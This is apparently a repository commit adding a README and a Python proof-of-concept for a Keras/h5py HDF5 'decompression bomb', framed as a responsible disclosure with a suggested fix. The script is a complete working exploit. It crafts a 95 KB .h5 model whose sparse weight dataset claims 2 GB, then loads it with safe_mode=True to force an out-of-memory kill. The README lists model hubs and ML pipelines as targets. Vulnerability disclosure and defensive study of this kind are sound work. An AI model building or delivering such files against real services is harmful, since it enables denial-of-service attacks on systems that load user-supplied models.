Upload 2 files

README_keras_hdf5_poc.md

@@ -0,0 +1,124 @@
+---
+tags:
+  - security
+  - vulnerability
+  - poc
+  - keras
+  - h5py
+  - hdf5
+  - decompression-bomb
+  - cwe-789
+  - safe-mode-bypass
+license: mit
+---
+
+# Keras HDF5 — Sparse Weight Dataset Decompression Bomb (PoC)
+
+**Repo:** `MBM7/keras-hdf5-sparse-weight-bomb-poc`  
+**Status:** Responsible disclosure — submitted to Huntr  
+**Severity:** High / CWE-789 — safe_mode=True bypass  
+**Packages:** `keras` + `h5py` (PyPI)
+
+---
+
+## Summary
+
+A crafted **95 KB** `.h5` Keras model file causes `keras.models.load_model()` to
+allocate **2 GB of memory** and OOM-kill the process — even with `safe_mode=True`.
+
+| File size | Claimed weight size | Result          | Amplification |
+|-----------|---------------------|-----------------|---------------|
+| 95 KB     | 2,000,000,000 bytes | OOM kill (Killed) | 1 : 20,925  |
+
+---
+
+## Root Cause
+
+HDF5 chunked datasets support **sparse storage** — unwritten chunks exist only
+as metadata. A weight dataset can claim `shape=(500_000_000,)` float32 (= 2 GB)
+while storing only a single 40-byte chunk on disk.
+
+When `load_weights_from_hdf5_group()` reads the dataset:
+
+```python
+# h5py/_hl/dataset.py  — triggered by ds[...] in Keras weight loading
+arr = numpy.empty(self.shape, dtype=self.dtype)   # ← 2 GB allocated HERE
+self.id.read(mspace, fspace, arr, ...)            # fill from sparse chunks
+```
+
+**No shape validation** exists in Keras before h5py allocates memory.  
+`safe_mode=True` only blocks Lambda/pickle deserialization — **not** weight sizes.
+
+---
+
+## Attack — call chain
+
+```
+keras.models.load_model(path, safe_mode=True)
+  → load_model_from_hdf5()           [legacy_h5_format.py]
+    → load_weights_from_hdf5_group() [legacy_h5_format.py ~213]
+      → g[weight_name][...]          ← h5py allocates ds.shape bytes
+                                        NO bounds check before this call
+```
+
+---
+
+## Reproduce
+
+```bash
+pip install keras h5py tensorflow-cpu
+python poc_keras_hdf5_sparse_bomb.py
+```
+
+Expected output:
+```
+Malicious HDF5     : 95,576 bytes
+Claimed weight size: 2,000,000,000 bytes  (2.0 GB)
+Amplification      : 1 : 20,925
+safe_mode=True     : True  (attack bypasses safe_mode entirely)
+Loading with keras.models.load_model(safe_mode=True) ...
+Killed
+```
+
+---
+
+## Impact
+
+Any service loading user-supplied `.h5` Keras models is vulnerable:
+- `keras.models.load_model(path, safe_mode=True)` — **bypassed**
+- HuggingFace model hub downloads, Keras model zoos, ML pipelines
+- `safe_mode=True` provides no protection against this attack vector
+
+---
+
+## Suggested Fix
+
+In `load_weights_from_hdf5_group()`, validate before reading:
+
+```python
+MAX_WEIGHT_BYTES = 512 * 1024 * 1024  # configurable
+for weight_name in ...:
+    ds = group[weight_name]
+    if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:
+        raise ValueError(
+            f"Weight '{weight_name}' claims {ds.size * ds.dtype.itemsize} bytes "
+            f"— exceeds safety limit. Possible decompression bomb."
+        )
+    weights.append(ds[...])
+```
+
+---
+
+## Environment
+
+| Package       | Version  |
+|---------------|----------|
+| keras         | 3.15.0   |
+| h5py          | 3.14.0   |
+| Python        | 3.12     |
+
+---
+
+*Discovered via UBDAF automated scanner + empirical verification.  
+Distinct from Keras Lambda exploit (CWE-502) — this is a weight storage  
+attack at the HDF5 layer, independent of model config deserialization.*

poc_keras_hdf5_sparse_bomb.py

@@ -0,0 +1,183 @@
+"""
+PoC: Keras HDF5 Sparse Weight Dataset Decompression Bomb
+Target : keras (PyPI) + h5py (PyPI)
+Format : Keras Legacy HDF5 (.h5 / .keras)
+Tested : keras 3.15.0, h5py 3.14.0, Python 3.12
+Author : mgm-77 / MBM7
+
+=== Finding: HDF5 sparse chunked dataset → GB-scale allocation via keras.load_model ===
+CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
+
+HDF5 supports chunked storage where unwritten chunks exist only as
+metadata (fill-value sparse). A crafted .h5 model file can declare
+a weight dataset with shape (500_000_000,) float32 = 2 GB while
+storing only a single 40-byte chunk on disk.
+
+When keras.models.load_model() → load_model_from_hdf5() →
+load_weights_from_hdf5_group() is called, h5py resolves the full
+dataset shape and allocates a numpy array of that size BEFORE
+reading any chunk data:
+
+    # h5py/_hl/dataset.py (reading)
+    arr = numpy.empty(self.shape, dtype=self.dtype)   ← 2 GB allocated here
+    self.id.read(mspace, fspace, arr, ...)            ← fill from chunks
+
+No validation of dataset shape vs. model architecture at any point.
+The attack bypasses safe_mode=True entirely — it is a weight storage
+attack, not a config deserialization attack. safe_mode only blocks
+Lambda/pickle deserialization, not weight tensor sizes.
+
+=== Root cause chain ===
+legacy_h5_format.load_model_from_hdf5()
+  → load_weights_from_hdf5_group()        [legacy_h5_format.py ~213]
+    → layer.set_weights(weights)
+      → [for each weight tensor]
+        weight_values = [g[weight_name][...] for ...]
+                                           ↑ h5py allocates shape-sized array
+"""
+
+import os
+import sys
+import json
+import tempfile
+import tracemalloc
+
+import h5py
+import numpy as np
+import keras
+from keras.src.legacy.saving import legacy_h5_format
+
+
+# ── Build minimal valid Keras HDF5 structure ─────────────────────────────────
+
+def build_legit_h5(path: str):
+    """Save a minimal Dense(2, input=(2,)) model as legacy HDF5."""
+    model = keras.Sequential([keras.layers.Dense(2, input_shape=(2,))])
+    legacy_h5_format.save_model_to_hdf5(model, path)
+    return model
+
+
+def clone_with_sparse_bomb(src_path: str, dst_path: str,
+                            bomb_shape: tuple, bomb_dtype=np.float32):
+    """
+    Clone a Keras HDF5 file, replacing all weight datasets with
+    chunked sparse datasets of `bomb_shape` claiming huge size but
+    storing only a single tiny chunk.
+    """
+    chunk = (min(10_000, bomb_shape[0]),) + bomb_shape[1:]
+
+    with h5py.File(src_path, "r") as src, h5py.File(dst_path, "w") as dst:
+        # Copy all top-level attributes (model_config, keras_version, etc.)
+        for k, v in src.attrs.items():
+            dst.attrs[k] = v
+
+        def copy_item(name, obj):
+            parent_path = name.rsplit("/", 1)[0] if "/" in name else ""
+            leaf_name   = name.rsplit("/", 1)[-1]
+            parent      = dst.require_group(parent_path) if parent_path else dst
+
+            if isinstance(obj, h5py.Group):
+                grp = dst.require_group(name)
+                for k, v in obj.attrs.items():
+                    grp.attrs[k] = v
+
+            elif isinstance(obj, h5py.Dataset):
+                # Replace every weight tensor with a sparse bomb dataset
+                if any(w in name for w in ("kernel", "bias", "weight")):
+                    ds = parent.create_dataset(
+                        leaf_name,
+                        shape=bomb_shape,
+                        dtype=bomb_dtype,
+                        chunks=chunk,
+                        fillvalue=0.0,
+                    )
+                    ds[0:1] = [1.0]   # write a single value to make file valid
+                else:
+                    src.copy(name, parent, name=leaf_name)
+
+        src.visititems(copy_item)
+
+
+# ── Main ──────────────────────────────────────────────────────────────────────
+
+BOMB_SHAPE    = (500_000_000,)      # 2 GB when read as float32
+BOMB_DTYPE    = np.float32
+EXPECTED_GB   = BOMB_SHAPE[0] * 4  # bytes
+
+print("=" * 64)
+print("Keras HDF5 Sparse Weight Dataset Decompression Bomb")
+print("CWE-789 / CULA Pattern #7 / safe_mode=True bypass")
+print("=" * 64)
+
+with tempfile.TemporaryDirectory() as tmpdir:
+    legit_path = os.path.join(tmpdir, "legit.h5")
+    mal_path   = os.path.join(tmpdir, "bomb.h5")
+
+    # Build legit model
+    legit_model = build_legit_h5(legit_path)
+    legit_size  = os.path.getsize(legit_path)
+    print(f"\n  Legit model file   : {legit_size:,} bytes")
+    print(f"  Architecture       : Dense(2, input=(2,)) — 6 parameters")
+
+    # Create malicious clone
+    clone_with_sparse_bomb(legit_path, mal_path, BOMB_SHAPE, BOMB_DTYPE)
+    mal_size = os.path.getsize(mal_path)
+
+    print(f"\n  Malicious HDF5     : {mal_size:,} bytes")
+    print(f"  Claimed weight size: {EXPECTED_GB:,} bytes  ({EXPECTED_GB/1e9:.1f} GB)")
+    print(f"  Amplification      : 1 : {EXPECTED_GB // mal_size:,}")
+    print(f"  safe_mode=True     : True  (attack bypasses safe_mode entirely)")
+
+    # Verify structure
+    with h5py.File(mal_path, "r") as f:
+        def show(name, obj):
+            if isinstance(obj, h5py.Dataset):
+                print(f"    dataset {name}: shape={obj.shape} "
+                      f"chunks={obj.chunks} nbytes_claimed={np.prod(obj.shape)*4:,}")
+        print("\n  HDF5 dataset structure (malicious file):")
+        f.visititems(show)
+
+    # ── Trigger OOM ──────────────────────────────────────────────────────────
+    print("\n  Loading with keras.models.load_model(safe_mode=True) ...")
+    tracemalloc.start()
+    try:
+        loaded = legacy_h5_format.load_model_from_hdf5(
+            mal_path, safe_mode=True
+        )
+        peak = tracemalloc.get_traced_memory()[1]
+        print(f"  Result             : LOADED (unexpected)")
+        print(f"  Peak memory        : {peak:,} bytes")
+    except MemoryError:
+        peak = tracemalloc.get_traced_memory()[1]
+        print(f"  Result             : MemoryError — OOM triggered ✓")
+        print(f"  Peak memory        : {peak/1e6:.0f} MB")
+    except Exception as e:
+        peak = tracemalloc.get_traced_memory()[1]
+        print(f"  Result             : {type(e).__name__}: {e}")
+        print(f"  Peak memory        : {peak/1e6:.0f} MB  ← allocation happened")
+    finally:
+        tracemalloc.stop()
+
+# ── Root cause summary ────────────────────────────────────────────────────────
+print()
+print("=" * 64)
+print("Root cause — h5py dataset read path:")
+print()
+print("  ds = hdf5_group[weight_name]      # shape=(500_000_000,)")
+print("  arr = numpy.empty(ds.shape, ...)  # ← 2 GB allocated here")
+print("  ds.id.read(...)                   # fill from sparse chunks")
+print()
+print("  No shape validation in keras before h5py read.")
+print("  safe_mode only blocks Lambda/pickle — not weight tensor sizes.")
+print()
+print("Suggested fix: validate dataset.shape vs. expected_shape")
+print("  before calling dataset[...] in load_weights_from_hdf5_group():")
+print()
+print("  MAX_WEIGHT_BYTES = 512 * 1024 * 1024  # 512 MB per tensor")
+print("  if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:")
+print("      raise ValueError('Weight tensor too large to load safely')")
+print()
+print("=" * 64)
+print(f"keras version : {keras.__version__}")
+print(f"h5py version  : {h5py.__version__}")
+print(f"Python        : {sys.version.split()[0]}")